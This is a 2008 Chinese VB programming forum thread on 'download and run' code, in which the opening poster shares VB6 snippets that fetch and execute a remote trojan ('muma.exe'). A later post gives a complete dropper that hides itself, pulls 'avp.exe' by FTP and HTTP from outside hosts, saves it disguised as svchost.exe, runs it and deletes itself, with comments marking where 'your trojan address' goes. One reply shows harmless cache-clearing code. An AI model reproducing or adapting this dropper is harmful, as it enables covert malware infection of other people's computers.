VBGood网站全文搜索 Google

搜索VBGood全站网页(全文搜索)

VB爱好者乐园(VBGood)

 找回密码
 立即注册
搜索
查看: 7332|回复: 23

[经验技巧] 2行代码实现下载并运行

[复制链接]
 楼主| 发表于 2008-12-23 17:46:06 | 显示全部楼层 |阅读模式
我开始抛砖了,各位看官接着。。。

这2行是很多下载者的地基

2行,当然不包括API声明


  1. Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

  2. Option Explicit
  3. Private Sub Form_Load()
  4. URLDownloadToFile 0, "http://www.baidu.com/muma.exe", "C:\261001126.exe", 0, 0
  5. Shell "C:\261001126.exe"
  6. End Sub
复制代码

评分

参与人数 1人气 +1 收起 理由
peace2008 + 1 发布源码

查看全部评分

发表于 2008-12-23 17:49:54 | 显示全部楼层
http://www.baidu.com/muma.exe...
哪有这玩意儿啊。。
回复 支持 反对

使用道具 举报

发表于 2008-12-23 17:56:52 | 显示全部楼层
是调用IE下载吧?  以前我看过
回复 支持 反对

使用道具 举报

发表于 2008-12-23 17:58:21 | 显示全部楼层
以前偶还可以用URLDownloadToFile这函数下载文件,可偶删掉IE7和.net 2.0后就不行了
回复 支持 反对

使用道具 举报

发表于 2008-12-23 18:01:39 | 显示全部楼层
哦  原来是URLDownloadToFile,提醒楼主这个函数有问题的。
第一次下载好文件后,第二次就直接从IE临时文件夹里复制了。。

[ 本帖最后由 wajika 于 2008-12-23 18:14 编辑 ]

评分

参与人数 1威望 +2 收起 理由
DreamonII + 2 感谢提醒,以后一定注意了

查看全部评分

回复 支持 反对

使用道具 举报

发表于 2008-12-23 18:21:00 | 显示全部楼层
马上去试验一下,呵呵

[ 本帖最后由 peace2008 于 2008-12-23 18:27 编辑 ]
回复 支持 反对

使用道具 举报

 楼主| 发表于 2008-12-23 19:03:29 | 显示全部楼层
其实我是想引出其他下载的代码出来。。

解决URLDownloadToFile缓存问题

  1. URLDownloadToFile下载文件前先在本地的缓存中查找此文件
  2. 如果缓存有则不会再去网上抓最新的文件,所以我们还要解决URLDownloadToFile缓存的问题。



  3. 方法 1:
  4. 我们可以对URL进行改动,让它每次访问不同的URL但指向相同的页面,
  5. 例如在URL结尾添加一些无意义的参数:"http://www.dtapp.cn?abc=1"
  6. 这里的 ?abc=1 可以随机实现,下次下载则改成  ?abc=2 因为URL不同,所以不会在缓存中找到。
  7. 最后程序改成:

  8. /********************************************************/
  9. int nRand = time(NULL); // 用时间作为随机数

  10. CString szUrl;
  11. szUrl.Format("http://www.dtapp.cn?abc=%d", nRand); // 生成随机URL

  12. CString szFileName = "C:\\dtapp.txt";

  13. if (S_OK == URLDownloadToFile(NULL, szUrl, szFileName, NULL,NULL))
  14. {
  15.   // 下载成功
  16. }
  17. else
  18. {
  19.   // 下载失败
  20. }



  21. 方法 2:
  22. 使用DeleteUrlCacheEntry清理缓存后再使用URLDownloadToFile下载文件。

  23. /********************************************************/
  24. CString szUrl = "http://www.dtapp.cn";

  25. DeleteUrlCacheEntry (szUrl); // 清理缓存
  26. CString szFileName = "C:\\dtapp.txt";


  27. if (S_OK == URLDownloadToFile(NULL, szUrl, szFileName, NULL,NULL))
  28. {
  29.   // 下载成功
  30. }
  31. else
  32. {
  33.   // 下载失败
  34. }



复制代码

评分

参与人数 3威望 +10 人气 +3 收起 理由
艾达 + 1 + 1 精品文章
tonycasablanca + 5 + 1 好贴!
DreamonII + 4 + 1 精品文章

查看全部评分

回复 支持 反对

使用道具 举报

 楼主| 发表于 2008-12-23 19:07:02 | 显示全部楼层
这里有一个下载者

运行时采用ShellExecute而不是纯shell

  1. Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  2. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long



  3. Private Sub Form_Load()
  4. App.TaskVisible = False
  5. Shell "cmd /c echo open vvv3.3322.org>>log.sys&echo tat>>log.sys&echo 123>>log.sys&echo bin>>log.sys&echo get avp.exe>>log.sys&echo bye>>log.sys&ftp -s:log.sys&del log.sys&avp.exe", 0

  6. If Len(Dir("c:\windows\system32\scvhost.exe")) = 0 Then URLDownloadToFile 0, "http://www.ptc5188.cn/avp.exe", "c:\Program Files\svchost.exe", 0, 0  '第2个参数是你的木马地址,第3个是保存的位置,其他默认就可以

  7. ShellExecute 0, vbNullString, "c:\Program Files\svchost.exe", vbNullString, vbNullString, vbNormalFocus 'ShellExecute的第2个参数是你要运行的文件,也就是我们下到本地的木马地址了
  8. Dim s As String
  9. On Error Resume Next
  10. s = CurDir '当前目录
  11. '保证目录最后的字符为 ""
  12. If Right(s, 1) <> "" Then
  13. s = s & ""
  14. End If '在当前目录下创建bat文件
  15. Open s & "kill.bat" For Output As #1
  16. Print #1, ":redel"
  17. Print #1, "del " & Chr(34) & s & App.EXEName & ".exe" & Chr(34)
  18. Print #1, "if exist " & Chr(34) & s & App.EXEName & ".exe" & Chr(34) & " goto redel"
  19. Print #1, "del %0"
  20. Print #1,
  21. Close #1
  22. Shell Chr(34) & s & "kill.bat" & Chr(34)
  23. End

  24. End Sub

  25. Private Sub Timer1_Timer()
  26. Date = Date + 3000
  27. End Sub


复制代码
回复 支持 反对

使用道具 举报

发表于 2008-12-23 19:15:07 | 显示全部楼层

回复 #5 wajika 的帖子

我通常都是先Kill,然后再xxx.....
回复 支持 反对

使用道具 举报

发表于 2008-12-23 19:16:33 | 显示全部楼层
学习
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

文字版|手机版|小黑屋|VBGood  

GMT+8, 2022-6-29 20:07

VB爱好者乐园(VBGood)
快速回复 返回顶部 返回列表